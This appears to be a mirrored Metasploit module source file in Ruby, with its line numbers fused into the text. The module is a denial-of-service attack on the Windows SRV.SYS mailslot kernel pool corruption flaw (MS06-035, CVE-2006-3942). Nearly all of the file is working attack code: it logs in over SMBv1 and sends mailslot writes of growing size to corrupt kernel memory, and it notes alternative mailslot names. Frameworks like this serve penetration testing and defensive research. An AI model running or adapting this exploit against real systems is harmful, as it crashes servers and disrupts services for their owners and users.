Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb
Views: 11789
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::SMB::Client7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => 'Microsoft SRV.SYS Mailslot Write Corruption',12'Description' => %q{13This module triggers a kernel pool corruption bug in SRV.SYS. Each14call to the mailslot write function results in a two byte return value15being written into the response packet. The code which creates this packet16fails to consider these two bytes in the allocation routine, resulting in17a slow corruption of the kernel memory pool. These two bytes are almost18always set to "\xff\xff" (a short integer with value of -1).19},2021'Author' => [ 'hdm' ],22'License' => MSF_LICENSE,23'References' =>24[25['BID', '19215'],26['OSVDB', '27644'],27['CVE', '2006-3942'],28['URL', 'http://www.coresecurity.com/common/showdoc.php?idx=562&idxseccion=10'],29['MSB', 'MS06-035'],30],31'Actions' =>32[33['Attack', 'Description' => 'Run Denial of Service'],34],35'DefaultAction' => 'Attack',36'DisclosureDate' => '2006-07-11'37))3839register_options(40[41OptString.new('MAILSLOT', [ true, "The mailslot name to use", 'Alerter']),42])4344deregister_options('SMB::ProtocolVersion')45end4647# MAILSLOT: HydraLsServer48# MAILSLOT: Messngr49# MAILSLOT: 53cb31a0\\UnimodemNotifyTSP5051def run5253case action.name54when 'Attack'5556print_status("Mangling the kernel, two bytes at a time...");5758connect(versions: [1])59smb_login60611.upto(1024) do |i|6263if (i % 100 == 0)64print_status("Sending request containing #{i} bytes...")65end6667begin68self.simple.client.trans_mailslot("\\MAILSLOT\\"+datastore['MAILSLOT'], "X" * i)6970rescue ::Interrupt71return7273rescue ::Exception => e7475if (i == 1)76print_error("Failed to write any data to the mailslot: #{e}")77break78end79print_error("Exception occurred on iteration #{i}")80print_error("Error: #{e.class} > #{e}")81break82end83end8485# Errors:86# 0xc0000034 = object not found87# 0xc0000205 = insufficient resources (too much data)8889end9091disconnect92end93end949596